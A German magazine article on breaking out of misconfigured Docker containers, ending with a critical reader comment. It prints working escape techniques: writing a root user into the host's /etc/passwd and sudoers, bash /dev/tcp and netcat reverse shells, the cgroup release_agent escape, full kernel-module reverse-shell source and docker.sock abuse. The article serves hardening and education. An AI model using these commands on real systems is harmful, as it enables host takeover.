Docker-Container sind in modernen Infrastrukturen beliebt, doch ihre Sicherheit bleibt oft unklar. Was Container-Nutzer im produktiven Umfeld blühen kann, demonstriert dieser Artikel anhand von Ausbruchsszenarien.
Geht in einer modernen Infrastruktur der erste Docker-Container in Betrieb, dauert es meist nicht lange, bis weitere folgen. Container – im speziellen Docker-Container – sind zugleich ein Nebenprodukt und Mittel zum Zweck bei der Abkehr von traditionellen Vorgehensmodellen und klassischer Software-Entwicklung. Sie begleiten die Umstellung auf agile Methoden und die Entwicklung sogenannter Self-Contained Systems [1]. Sie ermöglichen es, Abhängigkeiten sauber zwischen verschiedenen Betriebsumgebungen zu transferieren, und haben sich als Industriestandard etabliert.
Eine Container-basierte Anwendung bündelt alle Abhängigkeiten, wie beispielsweise installierte Pakete, in einem Betriebssystemabbild. Bei Docker wäre das das Docker-Image. Die Umgebungsspezifika und Konfigurationen der Anwendung setzt der Admin dabei von außen im Geiste der 12-Faktoren-App-Methodik [2]. Steht das Image, startet er im nächsten Schritt eine Instanz aus dem Image, den Docker-Container.
Aufbruch oder Ausbruch?
Einen Dienst mit seinen Abhängigkeiten schnell als Container-Instanz zu starten, verursacht häufig weniger Aufwand, als eine virtuelle Maschine oder ein Betriebssystem einzurichten. Viele Nutzer sind jedoch unsicher, ob sie ihren Container-basierten Anwendungen ohne Weiteres vertrauen können. Können Angreifer aus einem Container ausbrechen und das Host-System übernehmen? Und falls ja, wie funktioniert das im Detail?
Um zu verstehen, wieso und unter welchen Umständen Container solche Ausbrüche ermöglichen, betrachtet der vorliegende Artikel ihre Implementierung auf Systemebene. Da Docker momentan die populärste Lösung ist, liegt der Fokus auf Docker-Containern.
Docker-Images
Sie starten Docker-Container als Instanzen von Docker-Images. Dabei gibt es verschiedene Wege, Container zu instantiieren und zu verwalten. Die dafür herangezogenen Images liegen in Form von Archiven vor, die Sie aus sogenannten Registries laden. Ein Beispiel für eine Image-Definition in einem Dockerfile zeigt Abbildung 1. Der Eintrag »FROM busybox:latest« lädt aus der Docker-Registry ein Busybox-Image, das »Hello World!« ausgibt. Der »build«-Befehl baut das Image auf Basis des Dockerfile, »run« startet dann eine Container-Instanz.

Abbildung 1: Aus dem Dockerfile-Inhalt lässt sich ein Docker-Image bauen und dann davon ein Docker-Container starten.
Die entpackten Archive der Images folgen in ihrer Struktur der Vorgabe der Open Container Initiative (OCI [3]) und enthalten die verschiedenen Schichten eines Layered-Dateisystems [4] sowie zusätzliche Konfigurationsdateien. Um einen Docker-Container aus den Layern zu starten, führt ein Dateisystemtreiber diese virtuell zusammen. Der Startbefehl erfolgt dann im virtuellen Dateisystem über den Systemaufruf »pivot_root()« [5].
Um eine Container-basierende Anwendung mehrfach auf demselben System zu starten, schafft Docker für jeden Container einheitliche Voraussetzungen. Über Linux Namespaces [6] erzeugt es pro Container einen Computernamen sowie mehrere virtuelle Netzwerkadapter. Zudem beschränkt Docker die Interprozesskommunikation auf den Container und verwaltet die Prozess-IDs individuell (Abbildung 2). Wichtig dabei: Alle Docker-Container, die auf einem System laufen, teilen sich denselben Host-Kernel.

Abbildung 2: Für jeden Container legt Linux eigene Namespaces an, die sich über »/proc« auslesen lassen. Das Bild zeigt ein Beispiel für einen Busybox-Container.
Anwendungen innerhalb eines Containers startet Docker standardmäßig als Benutzer root. Docker regelt den Zugriff auf die angeschlossenen Geräte über Cgroups [7] und schränkt den Zugriff auf Systemressourcen ein.
Beim fein abgestuften Steuern der Linux-Kernel-Funktionen helfen die sogenannten Capabilities [8]. Momentan gibt es etwa 40 verschiedene Capabilities, von denen jede die Berechtigung für einen oder mehrere Syscalls des Linux-Kernels bündelt. Beim Start des Containers reduziert Docker über die verfügbaren Capabilities die Zugriffsrechte für den Prozess im Container.
Der Nachteil von Capabilities besteht darin, dass sie ganze Bündel von Syscalls abdecken und so mitunter nicht feinkörnig genug arbeiten. Sie decken zudem nicht sämtliche Funktionen des Linux-Kernel ab: So gibt es zum Beispiel für die x84_64-Architektur knapp 350 Syscalls für Linux 5.10-rc1 [9].
Ergänzend greift Docker daher beim Erzeugen von Containern zu Seccomp-Profilen [10]. Über Allow- und Deny-Listen wählt der Admin in der Seccomp-Konfiguration Funktionen des Linux-Kernel aus, die er für die Anwendung im Container blockieren möchte. Das geschieht dann bereits vor der Ausführung. Allerdings erfordert das Einrichten von maßgeschneiderten Seccomp-Profilen [11] mehr Arbeit sowie Detailwissen über die Anwendung. Daher kommt meist das Standardprofil zum Einsatz.
Um den Zugriff auf wichtige Systemkonfigurationen zu verhindern, starten die Docker-Container standardmäßig mit einem AppArmor-Profil [12] oder einem SELinux-Label [13]. Docker liefert bei der Installation dafür das Profil »docker-default (enforce)« mit.
Ausbruch aus dem Container
Docker-Images bilden also die Blaupause für Docker-Container. Sie müssen alle zum Start notwendigen Dateien enthalten. Unter Umständen muss die Anwendung im Container auf Verzeichnisse oder Dateien des Host-Systems zugreifen. Technisch formuliert, kommt dabei ein Bind Mount zum Einsatz. Anwendungen, die im laufenden Docker-Container auf die geteilte Ressource zugreifen, tun das als root – vorausgesetzt, der Admin hat den Benutzer nicht angepasst.
Beim Starten eines solchen Docker-Containers ist es wichtig, dass er nicht zu weitreichende Zugriffsrechte auf Verzeichnisse des darunterliegenden Systems erhält. Welche Auswirkungen eine undurchdachte Konfiguration haben kann, demonstriert exemplarisch ein Docker-Container auf Basis eines Ubuntu-Images, der Zugriff auf das komplette Wurzelverzeichnis erhält:
# docker run -it -v/:/hostfs ubuntu bash
Um aus dem laufenden Docker-Container auszubrechen, muss ein Angreifer nun nur noch Dateien auf dem Host identifizieren, über die sich Code im Host-Kontext einschleusen lässt.
Das erste Szenario nimmt an, dass auf dem Host-System ein SSH-Server läuft und das Paket sudo installiert ist. Will der Angreifer über diesen Server Zugriff auf das Host-System erlangen, muss er einen neuen Benutzer anlegen. Dazu erzeugt er einen Passwort-Hash und schreibt ihn zusammen mit weiteren notwendigen Parametern in die Datei »/etc/passwd« auf dem Host.
Zusätzlich erzeugt er eine Datei, um dem neuen Benutzer den Einsatz des Sudo-Kommandos zu erlauben. Anschließend meldet er sich mit dem neuen Benutzer über eine SSH-Verbindung auf dem Host an und erhält über Sudo Admin-Rechte. Die Befehle aus Listing 1 zeigen den Ausbruch im Detail.
Listing 1
SSH auf den Host
// Standardnutzer herausfinden # cat /hostfs/etc/passwd | grep 1000User:x:1000:1001:User:/home/User:/usr/bin/zsh // Ein reproduzierbares Passwort erzeugen # openssl passwd -6 -salt SALT_String Passwort $6$xyz$rjarwc/BNZWcH6B31aAXWo1942.i7rCX5AT/oxALL5gCznYVGKh6nycQVZiHDVbnbu0BsQyPfBgqYveKcCgOE0 // Einen neuen Nutzer Neuer_Nutzer ergänzen # echo 'NeuerUser:$6$xyz$rjarwc/BNZWcH6B31aAXWo1942.i7rCX5AT/oxALL5gCznYVGKh6nycQVZiHDVbnbu0BsQyPfBgqYveKcCgOE0:1000:1001:User:/home/User:/usr/bin/zsh' | tee -a /hostfs/etc/passwd // "sudo" ohne Passwort ausführen # echo "NeuerUser ALL=(ALL) NOPASSWD: ALL" > /hostfs/etc/sudoers.d/0-NeuerUser // IP-Adresse des Gateways herausfinden # ip r default via 172.17.0.1 dev eth0 172.17.0.0/16 dev eth0 proto kernel scope link src 172.17.0.2 // SSH-Verbindung zum Host aufbauen # ssh -l NeuerUser 172.17.0.1 The authenticity of host '172.17.0.1 (172.17.0.1)' can't be established. ECDSA key fingerprint is SHA256:PezvADaTYqKcp4JfDO1bapTJaMEAVBjCXCCzanBZOW8. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '172.17.0.1' (ECDSA) to the list of known hosts. NeuerUser@172.17.0.1's password: Last login: Sat Jul 11 12:12:15 2020 from 127.0.0.1 Host% sudo -i Host# id -a uid=0(root) gid=0(root) groups=0(root)
Statt einen neuen Benutzer zu erzeugen, manipuliert er für einen Ausbruch wahlweise die Datei »~/.ssh/authorized_keys« [14] im Home-Verzeichnis eines bestehenden Benutzers. Dafür erzeugt er zunächst einen neuen SSH-Schlüssel im Docker-Container und ergänzt diesen in der Datei »~/.ssh/authorized_keys«. Da er die Passwörter der bestehenden Host-System-Benutzer voraussichtlich nicht kennt, muss er auch hier Sudo passwortlos konfigurieren.
Cronjob-Hack
Ein zweites Szenario nimmt an, dass auf dem Host-System Cronjobs [15] laufen und Netcat [16] installiert ist. Um aus dem Docker-Container auszubrechen, richtet der Angreifer einen neuen Cronjob ein und führt damit einen Netcat-Befehl aus. Dieser Befehl baut eine TCP-Netzwerkverbindung zum Container auf. Im Container lauscht ein weiterer Netcat-Prozess, der auf eingehende Verbindungen wartet. Läuft der Cronjob, startet der Netcat-Prozess eine Shell und leitet die Ein- und Ausgabe über die beiden Netcat-Prozesse in den Container weiter. Weil der Cronjob mit Root-Rechten läuft, startet er eine Root-Shell. Einen exemplarischen Ablauf des Breakouts zeigt Abbildung 3.

Abbildung 3: Die Befehle dienen dazu, mithilfe eines Cronjobs eine TCP-Verbindung zwischen Docker-Container und Host-System aufzubauen.
Da nicht auf jedem Host-System Netcat installiert ist, hilft alternativ auch die Bash, um eine Verbindung zwischen Host-System und Docker-Container zu etablieren. Einen exemplarischen Aufruf zeigt Listing 2. Weitere Beispiele finden sich im Reverse Shell Cheat Sheet [17].
Listing 2
Bash-Aufruf für den Ausbruch
# bash -i >& /dev/tcp/Docker-Container_IP/Docker-Container_Port 0>&1
Zu weitreichende Rechte
In der Standardkonfiguration reduziert Docker beim Start eines Containers die verfügbaren Systemaufrufe durch Wegnahme von Capabilities, filtert die verfügbaren Linux-Systemaufrufe und beschränkt Zugriffe auf die am System angeschlossenen Geräte.
Das führt unter Umständen dazu, dass systemnah arbeitende Anwendungen nicht mehr funktionieren. Manche Admins neigen in solchen Situationen dazu, Docker-Container ohne diese Beschränkungen zu starten, um etwaige Container-basierte Anwendungen zu betreiben. Diese Container gelten dann als privilegiert und ermöglichen Angreifern dadurch den Ausbruch aus der Container-Anwendung.
Der folgende Abschnitt nimmt an, dass ein Docker-Container wie folgt gestartet wurde und somit als privilegiert gilt:
# docker run -it --privileged ubuntu bash
Ein privilegierter Docker-Container besitzt die Capability »CAP_SYS_ADMIN«, die es erlaubt, Cgroups zu verwalten. Cgroups kontrollieren und regulieren den Zugriff von Prozessen auf Ressourcen des Systems. Neben den Ressourcen lässt sich eine Funktion konfigurieren, die läuft, sobald sich der letzte Prozess in der Cgroup beendet hat.
Um nun aus einem Container auszubrechen, ruft die Funktion ein innerhalb des Containers konfiguriertes Skript auf. Da Cgroups im Host-System-Kontext und nicht im Container-Kontext angesiedelt sind, läuft auch das Skript im Kontext des Host-Systems. Die Befehle aus Listing 3 erzeugen eine neue Cgroup und bereiten diese vor.
Listing 3
Ausbruch über Cgroups vorbereiten
# mkdir /tmp/cgrp // Cgroup in /tmp einhängen # mount -t cgroup -o rdma cgroup /tmp/cgrp // Cgroup erweitern # mkdir /tmp/cgrp/escape_cgroup # echo 1 > /tmp/cgrp/escape_cgroup/notify_on_release
Die Befehle in Listing 4 erzeugen ein Skript, das startet, nachdem keine Prozesse mehr in der Cgroup aktiv sind. Die erste Zeile bestimmt, an welcher Stelle im System sich das Wurzelverzeichnis des virtuellen Dateisystems des Docker-Containers befindet. Auf Basis dieser Information erzeugen die Zeilen 3 und 5 nun ein Skript, das die laufenden Prozesse des Systems ausliest und sie in eine Datei im Wurzelverzeichnis des Docker-Containers schreibt.
Listing 4
Shell-Skript generieren
# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` // legt die Datei cmd im Wurzelverzeichnis an # echo '#!/bin/sh' > /cmd // Prozesse auslesen und in /cmd schreiben # echo "ps aux | /sbin/tee $host_path/cmdout" >> /cmd # chmod a+x /cmd
Um das Skript zur Ausführung zu bringen, konfiguriert der Angreifer den absoluten Pfad zum zuvor erzeugten Skript in der Cgroup und simuliert dann künstlich innerhalb der Cgroup, dass dort keine Prozesse mehr laufen (Listing 5).
Listing 5
Cgroups konfigurieren
# echo "$host_path/cmd" > /tmp/cgrp/release_agent # sh -c "echo 0 > /tmp/cgrp/escape_cgroup/cgroup.procs"
Weil die Zeilen aus Listing 5 dem Host-System suggerieren, dass innerhalb der Cgroup keine Prozesse mehr laufen, führt Cgroup das Skript »/cmd« aus und schreibt die Ausgabe in die Datei »/cmdout«, wie es Abbildung 4 zeigt. Die Ausgabe zeigt die Prozesse des Systems, was beweist, dass hier ein Ausbruch aus dem Docker-Container möglich ist.
Modulausfall
Eine weitere Capability, die einen kritischen Systemzugriff ermöglicht, ist »CAP_SYS_MODULE«. Über sie regelt ein Admin, ob ein Docker-Container Kernel-Module via Insmod [18] laden darf. Um das auszunutzen, muss der Angreifer ein für den Kernel des Systems zugeschnittenes Kernel-Modul erzeugen. Das nachfolgende Beispiel nimmt an, dass der Docker-Container in der gleichen Ubuntu-Version läuft wie das darunterliegende System.
Um auszubrechen, installiert der Angreifer zunächst einen Compiler sowie die zum aktiven Linux-Kernel passenden Header-Dateien. Diese installiert unter Ubuntu der Paketmanager:
# apt update # apt install -y gcc make linux-headers
Da jede Umgebung etwas anders aussieht, muss der Angreifer das Kernel-Modul für jede Umgebung separat generieren. Listing 6 zeigt den Quellcode eines Kernel-Moduls, das eine TCP-Netzwerkverbindung vom Host-System zum Docker-Container aufbaut. Über diese Verbindung nimmt der Kernel Befehle entgegen und leitet sie an eine Shell weiter, die die Kommandos ausführt. Der Code in »reverse-shell.c« benötigt dafür die IP-Adresse und einen Port des Docker-Containers, mit dem sich das Host-System beim Laden des Moduls verbinden soll.
Listing 6
reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<§§>Docker-Container_IP<§§>/<§§>Docker-Container_Port<§§>**0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Der Quellcode lässt sich dann mit dem Makefile aus Listing 7 übersetzen. Hat der Angreifer das Modul über »make« kompiliert, lädt er es im Docker-Container selbst via »insmod reverse-shell.ko«. Um die eingehende Verbindung vom Host-System-Kernel entgegenzunehmen, startet er Netcat, das die Daten empfängt und verarbeitet (Listing 8). Anstelle einer TCP-Netzwerkverbindung ließe sich auch ein beliebiger anderer Syscall ausführen, da der kompilierte Quellcode kompletten Zugriff auf alle Systemaufrufe des Kernels besitzt.
Listing 7
Makefile
obj-m +=reverse-shell.o all: make -C /lib/modules/$(uname -r)/build M=$(pwd) modules clean: make -C /lib/modules/$(uname -r)/build M=$(pwd) clean
Listing 8
Kernelmodul ruft an
# nc -lvlp 1337
listening on [any 1337 ...
172.17.0.1: inverse host lookup failed: Unknown host
connect to [172.17.0.2] from (UNKNOWN) [172.17.0.1] 55010
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@linux-box:/#
Geräte als Ausbruchsroute
In der Standardkonfiguration blockieren Cgroups den Zugriff auf die am System angeschlossenen Geräte. Das trifft allerdings auf einen privilegiert gestarteten Docker-Container nicht zu: Er darf vollumfänglich zugreifen.
Für Ausbrecher sind die angeschlossenen Speichermedien besonders interessant. Da der laufende Docker-Container keinen Einschränkungen unterliegt, kann der Angreifer aus ihm heraus die Festplatte mounten und darauf zugreifen. An diesem Punkt bricht der Angreifer dann über eine der zuvor beschriebenen Techniken und über das externe Dateisystem aus. Abbildung 5 zeigt einen exemplarischen Ablauf.

Abbildung 5: Im privilegiert gestarteten Docker-Container lässt sich der Nutzer die verfügbaren Festplatten anzeigen.
Über die Management-Schnittstelle
Einen weiteren potenziellen Schwachpunkt stellt die Management-Schnittstelle von Docker dar. Das Kommandozeilen-Tool »docker« verwaltet die Docker-Container über den Docker-Socket, der sich typischerweise unter »/var/run/docker.sock« befindet. Container, die andere Container verwalten, brauchen ebenfalls Zugriff auf diesen Socket.
Das nachfolgende Szenario nimmt an, dass der Docker-Host den Container mit dem folgenden Kommando gestartet hat und dieser so Zugriff auf den Docker-Socket erhält:
# docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu bash
Listing 9 zeigt die Dateiberechtigungen des Docker-Sockets nach dem Start des Containers. Wie man erkennt, gehört der Socket dem Benutzer root, der Lese- und Schreibrechte besitzt.
Listing 9
Docker-Socket-Rechte
root@7f21e95b95d5:/# ls -l /var/run/docker.sock srw-rw---- 1 root 968 0 Nov 1 09:34 /var/run/docker.sock
Da die Prozesse innerhalb eines Docker-Containers standardmäßig mit Root-Rechten starten, haben sie Lese- und Schreibberechtigungen. Um mit dem Docker-Socket zu interagieren, kann der Admin zum Beispiel via Curl HTTP-Anfragen an ihn senden.
Um sich die Arbeit zu vereinfachen, installiert der Angreifer über »apt update && apt install -y docker.io« das Docker-Paket innerhalb des Containers nach. Das Docker Command Line Interface [19] sucht standardmäßig unter dem Pfad »/var/run/docker.sock« nach dem Docker-Socket und findet ihn dort.
@:Um aus dem Docker-Container auszubrechen, startet der Angreifer nun aus dem laufenden Container einen neuen Container. Den initialisiert er entweder so wie die beiden zuvor beschriebenen Fehlkonfigurationen, oder er startet ihn mit minimaler Sicherheitskonfiguration (Listing 10).
Listing 10
# docker run -it --privileged --network host --pid host --ipc host --uts host ubuntu bash
Beim Start teilt Docker alle Linux Namespaces – außer dem Mount-Namespace – des laufenden Systems und ermöglicht so den Zugriff auf die laufenden Systemprozesse. Um aus dem Container auszubrechen, wechselt der Angreifer über »nsenter -t 1 -m« in den Mount-Namespace des Init-Prozesses. Vergleicht er nun die Namespaces wie in Abbildung 6, zeigt sich, dass sich die Namespaces des Init-Prozesses auf oberster Privilegienebene des Systems befinden.
Zusammenfassung
Die beschriebenen Techniken schildern nur eine Untermenge der zur Verfügung stehenden Möglichkeiten, um aus einem laufenden Docker-Container auszubrechen oder auf das darunterliegende System Einfluss zu nehmen. Dem aufmerksamen Leser dürfte aufgefallen sein, dass jede beschriebene Technik eine Prämisse hat: Der Container darf nicht in der Standardkonfiguration laufen. In allen Fällen begünstigen Anpassungen den Ausbruch.
Zwar waren zu Redaktionsschluss keine Ausbruchsmöglichkeiten aus einem Docker-Container mit Standardkonfiguration bekannt, doch gilt Letztere aus Sicherheitsperspektive noch immer als zu lasch. Sie sollten ihre Erlaubnisse im Produktivbetrieb reduzieren. Bevor Sie eine Container-basierende Anwendung in Betrieb nehmen, überprüfen Sie also am besten die zum Start des Docker-Containers verwendeten Konfigurationen. Tools, die sich dafür einspannen lassen, sind Break out the Box (BotB [20]) von Chris Le Roy und Amicontained [21] von Jess Frazelle.
Betreiben Sie eine Anwendung in einem Container, der über minimale Berechtigungen verfügt, schützt dies das Host-System vor Ausbrechern aus dem Container. Die eigentliche Herausforderung besteht bei modernen Anwendungen aber darin, dass jede davon individuelle Abhängigkeiten mitbringt. Die wahre Kunst liegt dann darin, die Qualitätssicherung auch für Bibliotheken von Dritten zu gewährleisten. Diese stecken direkt in der Software oder im Image und haben mitunter direkten Einfluss auf die eigentliche Geschäftsanwendung.
Darüber hinaus ist es wichtig, traditionelle Konzepte der Netzwerkisolation – unter Anpassung an moderne Technologien – sowie Härtungsmaßnahmen auf dem Host aufrechtzuerhalten. (kki)
Der Autor
Jan Harrie arbeitet als Freiberufler in den Bereichen IT-Sicherheit, Dev(Sec)Ops und Cloud. Außerdem geht er Forschungsfragen nach, präsentiert diese auf Konferenzen im In- sowie Ausland, und gibt Trainings.
Infos
- Self-Contained Systems: https://scs-architecture.org
- 12-Faktor-Apps: https://12factor.net
- Open Container Initiative (OCI): https://opencontainers.org
- OCI Image Layout Specification: https://github.com/opencontainers/image-spec/blob/master/image-layout.md
- »pivot_root«: http://manpages.ubuntu.com/manpages/bionic/de/man2/pivot_root.2.html
- Linux Namespaces: https://lwn.net/Articles/531114/
- Cgroups v1 und v2: https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v1/cgroups.html, https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html
- Capabilities: https://linux-audit.com/linux-capabilities-101/
- Syscall-Übersicht: https://fedora.juszkiewicz.com.pl/syscalls.html
- “Seccomp Security Profiles and You: A Practical Guide”: https://www.youtube.com/watch?v=OPuu8wsu2Zc
- Seccomp-Profile für Docker: https://docs.docker.com/engine/security/seccomp/
- AppArmor-Profile: https://docs.docker.com/engine/security/apparmor/
- SELinux-Entwickler Daniel J. Walsh über Labels: https://opensource.com/article/18/2/understanding-selinux-labels-container-runtimes
- »authorized_keys«: http://man.he.net/man5/authorized_keys
- Crontab: https://opensource.com/article/17/11/how-use-cron-linux
- Netcat: https://sectools.org/tool/netcat/
- Reverse Shell Cheat Sheet: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- Insmod: https://linux.die.net/man/8/insmod
- Docker CLI: https://docker-doc.readthedocs.io/zh_CN/stable/commandline/cli.html
- Break out the Box (BotB): https://github.com/brompwnie/botb
- Amicontained: https://github.com/genuinetools/amicontained









Leider etwas enttäuschend. Ich habe mir das Linux Magazin eigentlich nur wegen der Titel Story geholt und bin enttäuscht. 2 Artikel die ich so verstehe: Alles von Hand bauen, dann bist Du sicherer und einem Container vollen Zugriff auf das Host Dateisystem zu geben ist unsicher.
Sorry, das sind sehr enttäuschende Erkenntnisse und für mich auf dem Nvieau von Skript Kiddies. Ich hatte mir von einem Magazin wie dem LM erhofft, mehr Tiefgang vorzufinden. Ausgesprochen schade, darauf kann ich in Zukunft verzichten.